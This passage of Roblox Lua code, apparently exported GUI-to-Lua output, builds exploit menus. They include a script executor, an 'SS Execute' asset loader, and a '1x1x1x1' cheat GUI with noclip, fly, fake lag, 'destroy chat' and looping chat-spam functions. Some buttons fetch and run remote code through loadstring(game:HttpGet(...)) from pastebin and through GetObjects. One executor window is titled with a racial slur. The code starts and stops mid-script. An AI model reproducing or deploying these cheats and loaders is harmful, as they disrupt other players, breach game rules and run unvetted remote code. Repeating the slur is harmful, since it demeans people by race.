execButton.TextColor3 = Color3.fromRGB(255,255,255)
execButton.Text = "Execute"
execButton.Parent = executor
execButton.MouseButton1Click:Connect(function()
local code = codeBox.Text
local success, err = pcall(function() loadstring(code)() end)
if not success then warn(err) end
end)
local clearButton = Instance.new("TextButton")
clearButton.Size = UDim2.new(0.27,0,0.1,0)
clearButton.Position = UDim2.new(0.37,0,0.7,0)
clearButton.BackgroundColor3 = Color3.fromRGB(200,0,0)
clearButton.TextColor3 = Color3.fromRGB(255,255,255)
clearButton.Text = "Clear"
clearButton.Parent = executor
clearButton.MouseButton1Click:Connect(function() codeBox.Text = "" end)
local ssButton = Instance.new("TextButton")
ssButton.Size = UDim2.new(0.27,0,0.1,0)
ssButton.Position = UDim2.new(0.69,0,0.7,0)
ssButton.BackgroundColor3 = Color3.fromRGB(200,0,0)
ssButton.TextColor3 = Color3.fromRGB(255,255,255)
ssButton.Text = "SS Execute"
ssButton.Parent = executor
ssButton.MouseButton1Click:Connect(function()
local assetId = tonumber(codeBox.Text)
if assetId then
local success, gui = pcall(function()
return game:GetService("InsertService"):LoadAsset(assetId)
end)
if success and gui then
for _, obj in pairs(gui:GetChildren()) do
if obj:IsA("ScreenGui") then
obj.Parent = player:WaitForChild("PlayerGui")
end
end
else
warn("Failed to load asset GUI")
end
else
warn("Invalid Asset ID")
end
end)
local credits = tabs["Credits"]
local creditsLabel = Instance.new("TextLabel")
creditsLabel.Size = UDim2.new(0.9,0,0.2,0)
creditsLabel.Position = UDim2.new(0.05,0,0.4,0)
creditsLabel.BackgroundTransparency = 1
creditsLabel.TextColor3 = Color3.fromRGB(255,50,50)
creditsLabel.TextScaled = true
creditsLabel.Font = Enum.Font.GothamBold
creditsLabel.Text = "GUI by c00lkiddiskingnow!!!"
creditsLabel.TextWrapped = true
creditsLabel.Parent = credits
local logs = tabs["Logs"]
local logBox = Instance.new("ScrollingFrame")
logBox.Size = UDim2.new(0.95,0,0.9,0)
logBox.Position = UDim2.new(0.025,0,0.05,0)
logBox.BackgroundColor3 = Color3.fromRGB(30,30,30)
logBox.CanvasSize = UDim2.new(0,0,2,0)
logBox.ScrollBarThickness = 8
logBox.Parent = logs
local uiList = Instance.new("UIListLayout")
uiList.SortOrder = Enum.SortOrder.LayoutOrder
uiList.Parent = logBox
local function addLog(msg)
local label = Instance.new("TextLabel")
label.Size = UDim2.new(1,0,0,20)
label.BackgroundTransparency = 1
label.TextColor3 = Color3.fromRGB(255,255,255)
label.Font = Enum.Font.SourceSans
label.TextSize = 16
label.TextXAlignment = Enum.TextXAlignment.Left
label.Text = msg
label.Parent = logBox
logBox.CanvasSize = UDim2.new(0,0,0,uiList.AbsoluteContentSize.Y)
end
game.Players.PlayerAdded:Connect(function(p)
addLog("Player joined: "..p.Name)
end)
game.Players.PlayerRemoving:Connect(function(p)
addLog("Player left: "..p.Name)
end)
game:GetService("ReplicatedStorage").ChildAdded:Connect(function(c)
addLog("ReplicatedStorage added: "..c.Name)
end)
player.Chatted:Connect(function(msg)
addLog(player.Name..": "..msg)
end)
end)
end;
task.spawn(C_25);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_26()
local script = G2L["26"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Text = "Executed"
wait(1)
script.Parent.Text = ogtext
end)
end;
task.spawn(C_26);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_28()
local script = G2L["28"];
script.Parent.MouseButton1Click:Connect(function()
-- Modern Executer GUI Script
-- This script creates a draggable GUI named "Modern Executer" compatible with Xeno Executor
-- Create ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "niggers executer"
screenGui.ResetOnSpawn = false
screenGui.Parent = game:GetService("CoreGui") -- CoreGui to ensure executor compatibility
-- Create main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = "MainFrame"
mainFrame.Size = UDim2.new(0, 400, 0, 250)
mainFrame.Position = UDim2.new(0.5, -200, 0.5, -125)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Create title bar
local titleBar = Instance.new("Frame")
titleBar.Name = "TitleBar"
titleBar.Size = UDim2.new(1, 0, 0, 30)
titleBar.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
titleBar.Parent = mainFrame
-- Title text
local titleLabel = Instance.new("TextLabel")
titleLabel.Name = "TitleLabel"
titleLabel.Size = UDim2.new(1, -10, 1, 0)
titleLabel.Position = UDim2.new(0, 10, 0, 0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "Niggers Executer"
titleLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
titleLabel.Font = Enum.Font.GothamBold
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Parent = titleBar
-- Close button
local closeButton = Instance.new("TextButton")
closeButton.Name = "CloseButton"
closeButton.Size = UDim2.new(0, 30, 1, 0)
closeButton.Position = UDim2.new(1, -30, 0, 0)
closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
closeButton.Text = "X"
closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
closeButton.Font = Enum.Font.GothamBold
closeButton.TextSize = 18
closeButton.Parent = titleBar
closeButton.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
-- TextBox for script input
local scriptBox = Instance.new("TextBox")
scriptBox.Name = "ScriptBox"
scriptBox.Size = UDim2.new(1, -20, 1, -70)
scriptBox.Position = UDim2.new(0, 10, 0, 40)
scriptBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
scriptBox.TextColor3 = Color3.fromRGB(255, 255, 255)
scriptBox.Font = Enum.Font.Code
scriptBox.TextSize = 14
scriptBox.ClearTextOnFocus = false
scriptBox.MultiLine = true
scriptBox.TextWrapped = true
scriptBox.Parent = mainFrame
-- Execute button
local executeButton = Instance.new("TextButton")
executeButton.Name = "ExecuteButton"
executeButton.Size = UDim2.new(0, 100, 0, 25)
executeButton.Position = UDim2.new(1, -110, 1, -30)
executeButton.BackgroundColor3 = Color3.fromRGB(70, 130, 180)
executeButton.Text = "Execute"
executeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
executeButton.Font = Enum.Font.GothamBold
executeButton.TextSize = 16
executeButton.Parent = mainFrame
-- Draggable functionality
local UserInputService = game:GetService("UserInputService")
local dragging
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
titleBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
dragStart = input.Position
startPos = mainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
titleBar.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and input == dragInput then
update(input)
end
end)
-- Execute script with Xeno Executor compatibility
executeButton.MouseButton1Click:Connect(function()
local scriptText = scriptBox.Text
if syn and syn.request then
-- Synapse compatibility (Xeno is Synapse-based)
local func, err = loadstring(scriptText)
if func then
coroutine.wrap(func)()
else
warn("Script error: "..err)
end
else
-- Fallback for other environments
local func, err = loadstring(scriptText)
if func then
coroutine.wrap(func)()
else
warn("Script error: "..err)
end
end
end)
end)
end;
task.spawn(C_28);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_29()
local script = G2L["29"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Text = "Executed"
wait(1)
script.Parent.Text = ogtext
end)
end;
task.spawn(C_29);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_2b()
local script = G2L["2b"];
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Name = Instance.new("TextLabel")
local Credits = Instance.new("TextLabel")
local ball = Instance.new("TextButton")
local noclip = Instance.new("TextButton")
local fakelag = Instance.new("TextButton")
local plane = Instance.new("TextButton")
local destroychat = Instance.new("TextButton")
local sit = Instance.new("TextButton")
local fly = Instance.new("TextButton")
local tp = Instance.new("TextButton")
local message = Instance.new("TextButton")
local floatingpad = Instance.new("TextButton")
local r6 = Instance.new("TextButton")
local c00lgui = Instance.new("TextButton")
local rejoin = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215)
Frame.Size = UDim2.new(0, 417, 0, 280)
Name.Name = "Name"
Name.Parent = Frame
Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Name.Size = UDim2.new(0, 417, 0, 25)
Name.Font = Enum.Font.GothamBold
Name.Text = "1x1x1x1 Gui FE"
Name.TextColor3 = Color3.fromRGB(0, 0, 0)
Name.TextScaled = true
Name.TextSize = 14.000
Name.TextWrapped = true
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0)
Credits.Size = UDim2.new(0, 416, 0, 22)
Credits.Font = Enum.Font.GothamBold
Credits.Text = "By FishNoobAhh"
Credits.TextColor3 = Color3.fromRGB(0, 0, 0)
Credits.TextScaled = true
Credits.TextSize = 14.000
Credits.TextWrapped = true
ball.Name = "ball"
ball.Parent = Frame
ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0)
ball.Size = UDim2.new(0, 79, 0, 31)
ball.Font = Enum.Font.GothamBold
ball.Text = "become ball"
ball.TextColor3 = Color3.fromRGB(0, 0, 0)
ball.TextScaled = true
ball.TextSize = 14.000
ball.TextWrapped = true
noclip.Name = "noclip"
noclip.Parent = Frame
noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0)
noclip.Size = UDim2.new(0, 79, 0, 31)
noclip.Font = Enum.Font.GothamBold
noclip.Text = "noclip"
noclip.TextColor3 = Color3.fromRGB(0, 0, 0)
noclip.TextScaled = true
noclip.TextSize = 14.000
noclip.TextWrapped = true
fakelag.Name = "fakelag"
fakelag.Parent = Frame
fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0)
fakelag.Size = UDim2.new(0, 79, 0, 34)
fakelag.Font = Enum.Font.GothamBold
fakelag.Text = "fe fake lag"
fakelag.TextColor3 = Color3.fromRGB(0, 0, 0)
fakelag.TextScaled = true
fakelag.TextSize = 14.000
fakelag.TextWrapped = true
fakelag.MouseButton1Down:Connect(function()
while true do
game.Players.LocalPlayer.Character.Torso.Anchored = true
game.Players.LocalPlayer.Character.Humanoid.Jump = true
wait(0.1)
game.Players.LocalPlayer.Character.Torso.Anchored = false
game.Players.LocalPlayer.Character.Humanoid.Sit = true
wait(0.1)
end
end)
plane.Name = "plane"
plane.Parent = Frame
plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0)
plane.Size = UDim2.new(0, 83, 0, 31)
plane.Font = Enum.Font.GothamBold
plane.Text = "become a plane"
plane.TextColor3 = Color3.fromRGB(0, 0, 0)
plane.TextScaled = true
plane.TextSize = 14.000
plane.TextWrapped = true
destroychat.Name = "destroy chat"
destroychat.Parent = Frame
destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0)
destroychat.Size = UDim2.new(0, 83, 0, 31)
destroychat.Font = Enum.Font.GothamBold
destroychat.Text = "destroy chat fe (op warning)"
destroychat.TextColor3 = Color3.fromRGB(0, 0, 0)
destroychat.TextScaled = true
destroychat.TextSize = 14.000
destroychat.TextWrapped = true
destroychat.MouseButton1Down:Connect(function()
for i = 1, 4 do
local args = {
[1] = "\194\160\194\160",
[2] = "All"
}
game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args))
end
end)
sit.Name = "sit"
sit.Parent = Frame
sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0)
sit.Size = UDim2.new(0, 83, 0, 34)
sit.Font = Enum.Font.GothamBold
sit.Text = "sit"
sit.TextColor3 = Color3.fromRGB(0, 0, 0)
sit.TextScaled = true
sit.TextSize = 14.000
sit.TextWrapped = true
sit.MouseButton1Down:Connect(function()
local human = kevyn.Parent:findFirstChild("Humanoid")
if (human ~= nil)then
human.Sit=true
end
end)
fly.Name = "fly"
fly.Parent = Frame
fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0)
fly.Size = UDim2.new(0, 89, 0, 31)
fly.Font = Enum.Font.GothamBold
fly.Text = "fly"
fly.TextColor3 = Color3.fromRGB(0, 0, 0)
fly.TextScaled = true
fly.TextSize = 14.000
fly.TextWrapped = true
tp.Name = "tp"
tp.Parent = Frame
tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0)
tp.Size = UDim2.new(0, 89, 0, 31)
tp.Font = Enum.Font.GothamBold
tp.Text = "click to tp"
tp.TextColor3 = Color3.fromRGB(0, 0, 0)
tp.TextScaled = true
tp.TextSize = 14.000
tp.TextWrapped = true
message.Name = "message"
message.Parent = Frame
message.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0)
message.Size = UDim2.new(0, 89, 0, 34)
message.Font = Enum.Font.GothamBold
message.Text = "messages"
message.TextColor3 = Color3.fromRGB(0, 0, 0)
message.TextScaled = true
message.TextSize = 14.000
message.TextWrapped = true
message.MouseButton1Down:Connect(function()
while true do
wait(2)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL")
wait(2)
end
end)
floatingpad.Name = "floatingpad"
floatingpad.Parent = Frame
floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0)
floatingpad.Size = UDim2.new(0, 79, 0, 34)
floatingpad.Font = Enum.Font.GothamBold
floatingpad.Text = "floating pad (requires r6)"
floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0)
floatingpad.TextScaled = true
floatingpad.TextSize = 14.000
floatingpad.TextWrapped = true
r6.Name = "r6"
r6.Parent = Frame
r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0)
r6.Size = UDim2.new(0, 79, 0, 34)
r6.Font = Enum.Font.GothamBold
r6.Text = "r15 to r6"
r6.TextColor3 = Color3.fromRGB(0, 0, 0)
r6.TextScaled = true
r6.TextSize = 14.000
r6.TextWrapped = true
r6.MouseButton1Down:Connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))()
end)
c00lgui.Name = "c00lgui"
c00lgui.Parent = Frame
c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0)
c00lgui.Size = UDim2.new(0, 88, 0, 34)
c00lgui.Font = Enum.Font.GothamBold
c00lgui.Text = "fe c00lgui"
c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.TextScaled = true
c00lgui.TextSize = 14.000
c00lgui.TextWrapped = true
c00lgui.MouseButton1Down:Connect(function()
loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)()
end)
rejoin.Name = "rejoin"
rejoin.Parent = Frame
rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0)
rejoin.Size = UDim2.new(0, 79, 0, 34)
rejoin.Font = Enum.Font.GothamBold
rejoin.Text = "rejoin"
rejoin.TextColor3 = Color3.fromRGB(0, 0, 0)
rejoin.TextScaled = true
rejoin.TextSize = 14.000
rejoin.TextWrapped = true
rejoin.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local gamePlaceId = game.PlaceId
local teleportService = game:GetService("TeleportService")
teleportService:Teleport(gamePlaceId, player)
end)
-- Scripts:
local function WVDQ_fake_script() -- ball.LocalScript
local script = Instance.new('LocalScript', ball)
script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera
local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3
local character = game.Players.LocalPlayer.Character
for i,v in ipairs(character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
local ball = character.HumanoidRootPart
ball.Shape = Enum.PartType.Ball
ball.Size = Vector3.new(5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}
local tc = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
--ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0)
end)
UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(
0,
-((ball.Size.Y/2)+JUMP_GAP),
0
),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0)
end
end)
Camera.CameraSubject = ball
humanoid.Died:Connect(function() tc:Disconnect() end)
end)
end
coroutine.wrap(WVDQ_fake_script)()
local function UUBW_fake_script() -- noclip.LocalScript
local script = Instance.new('LocalScript', noclip)
local noClipEnabled = false
--Toggle noclipButton
script.parent.MouseButton1Click:Connect(function()
noClipEnabled = not noClipEnabled
script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF"
if noClipEnabled then
-- Enable Button
game:GetService("RunService").Stepped:Connect(function()
if noClipEnabled then
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide then
part.CanCollide = false
end
end
end
end)
else
--Disable noclipButton
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end)
end
coroutine.wrap(UUBW_fake_script)()
local function JLHA_fake_script() -- plane.LocalScript
local script = Instance.new('LocalScript', plane)
function click()
repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil;
wait(0.4)
for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do
if v ~= script then
v:Destroy()
end
end
local player = game:service("Players").LocalPlayer
local mouse = player:GetMouse()
local cam = workspace.CurrentCamera
local char = player.Character
local Torsoz = char:findFirstChild("Torso")
local NV = Vector3.new()
local Main
local W,S = false,false
local DoublePress = {nil,0}
script.Parent = char
local TrailParts = {}
local Acceleration = 0.08
local Speed = 0
local MinSpeed = 0
local MaxSpeed = 3.2
local DesiredDirection = cam.CoordinateFrame.lookVector
local Direction = DesiredDirection
local Roll = 0
local AllowTrails = true
script.Name = "AdvFlight"
local P = Instance.new("Part")
P.Anchored = true
P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.2,0.2,0.2)
P.Locked = true
P.TopSurface = 10
P.BottomSurface = 10
P.FrontSurface = 10
P.BackSurface = 10
P.LeftSurface = 10
P.RightSurface = 10
P.Material = "Pebble"
P.BrickColor = BrickColor.new("White")
local shipp
local shadow
local campart
function RAY(pos, dir, startpos, endpos, distleft, collidedlist)
collidedlist = collidedlist or {char}
startpos = startpos or pos
distleft = distleft or dir.unit * dir.magnitude
endpos = endpos or pos + distleft
local ray = Ray.new(pos, distleft)
local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist)
if hitz ~= nil then
if hitz.CanCollide == false then
table.insert(collidedlist, hitz)
local newpos = enz
local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude)
if newdistleft ~= NV then
return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist)
end
end
end
return hitz, enz, ray
end
function FindSurface(part, position)
local obj = part.CFrame:pointToObjectSpace(position)
local siz = part.Size/2
for i,v in pairs(Enum.NormalId:GetEnumItems()) do
local vec = Vector3.FromNormalId(v)
local wvec = part.CFrame:vectorToWorldSpace(vec)
local vz = (obj)/(siz*vec)
if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then
return wvec,vec
end
end
if part.className == "WedgePart" then
return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707)
end
end
function HSV(H,S,V)
H = H % 360
local C = V * S
local H2 = H/60
local X = C * (1 - math.abs((H2 %2) -1))
local color = Color3.new(0,0,0)
if H2 <= 0 then
color = Color3.new(C,0,0)
elseif 0 <= H2 and H2 <= 1 then
color = Color3.new(C,X,0)
elseif 1 <= H2 and H2 <= 2 then
color = Color3.new(X,C,0)
elseif 2 <= H2 and H2 <= 3 then
color = Color3.new(0,C,X)
elseif 3 <= H2 and H2 <= 4 then
color = Color3.new(0,X,C)
elseif 4 <= H2 and H2 <= 5 then
color = Color3.new(X,0,C)
elseif 5 <= H2 and H2 <= 6 then
color = Color3.new(C,0,X)
end
local m = V - C
return Color3.new(color.r + m, color.g + m, color.b + m)
end
function Build(shiptype)
AllowTrails = true
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Ship" then
v:remove()
end
end
for i, v in pairs(TrailParts) do
for _,V in pairs(v[3]) do
V:Destroy()
end
end
local mdl = Instance.new("Model", char)
mdl.Name = "Ship"
------------------------ Speeder Ship Type -----------------------------
if shiptype == "Speeder" then
shipp = P:Clone()
shipp.Parent = mdl
shipp.Size = Vector3.new(1,1,2.2)
local shipwing1 = P:Clone()
shipwing1.Parent = mdl
shipwing1.Size = Vector3.new(0.6,1.2,2)
local mesh = Instance.new("SpecialMesh", shipwing1)
mesh.MeshType = "Wedge"
local shipwing2 = shipwing1:Clone()
shipwing2.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwing21 = P:Clone()
shipwing21.Parent = mdl
shipwing21.Size = Vector3.new(0.32,1.1,2.6)
local mesh = Instance.new("SpecialMesh", shipwing21)
mesh.MeshType = "Wedge"
local shipwing22 = shipwing21:Clone()
shipwing22.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwi = P:Clone()
shipwi.Parent = mdl
shipwi.Size = Vector3.new(1,1,1.2)
local mesh = Instance.new("SpecialMesh", shipwi)
mesh.MeshType = "Wedge"
local shipwi2 = P:Clone()
shipwi2.Parent = mdl
shipwi2.Size = Vector3.new(0.7,0.7,0.84)
shipwi2.Material = "SmoothPlastic"
shipwi2.BrickColor = BrickColor.new("Pastel blue")
shipwi2.Reflectance = 0.6
local mesh = Instance.new("SpecialMesh", shipwi2)
mesh.MeshType = "Wedge"
shadow = P:Clone()
shadow.Parent = mdl
shadow.Name = "Shadow"
shadow.Material = "SmoothPlastic"
shadow.BrickColor = BrickColor.new("Really black")
local mesh = Instance.new("SpecialMesh",shadow)
mesh.MeshType = "Sphere"
TrailParts = {}
table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18})
table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
for _, V in pairs(TrailParts) do
for i = 1, V[7] do
local p = P:Clone()
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/asset/?id=9856898"
mesh.TextureId = "http://www.roblox.com/asset/?id=48358980"
p.BrickColor = BrickColor.new("Dark stone grey")
table.insert(V[3],p)
end
end
function ReposParts()
shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2)
shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2)
shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2)
shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2)
shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7)
shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015)
campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0)
end
cam.CameraSubject = campart
cam.CameraType = "Track"
shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p
ReposParts()
end
AllowTrails = true
end
Build("Speeder")
function B1D()
Build("Speeder")
end
function RollThatSht(direc)
if Roll == 0 then
for i = 1, 50 do
Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc
wait(0.02)
end
Roll = 0
end
end
function KD(key)
if key == "w" then
W = true
elseif key == "s" then
S = true
end
local rollpls = 0
if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then
DoublePress = {nil,0}
if key == "a" then
rollpls = -1
elseif key == "d" then
rollpls = 1
end
end
DoublePress = {key,tick()}
if rollpls ~= 0 then
RollThatSht(rollpls)
end
end
function KU(key)
if key == "w" then
W = false
elseif key == "s" then
S = false
end
end
function Equip()
end
function Unequip()
end
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(B1D)
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)
local count = 0
local hue = 0
--game:GetService("RunService").Stepped:connect(function()
while wait(0.02) do
------ Speed --------
local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration)
if W == true then
Speed = Speed + valu
elseif S == true then
Speed = Speed - valu
end
if Speed > MaxSpeed then
Speed = MaxSpeed
elseif Speed < MinSpeed then
Speed = MinSpeed
end
------ left/right tilt ---------
local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z)))
local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z)))
local swing = 0
if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then
swing = target-current
else
swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360)
end
DesiredDirection = cam.CoordinateFrame.lookVector
------ direction smoothening ------
local dir = DesiredDirection.unit
if Direction ~= dir then
if (Direction - dir).magnitude < 0.01 then
Direction = dir
else
local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10
Direction = (Direction + dist).unit
end
end
shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2))
ReposParts()
------ shadow ------
local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0))
local angles = CFrame.new()
if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then
local wvec,vec = FindSurface(ghitz,genz)
angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0)
elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then
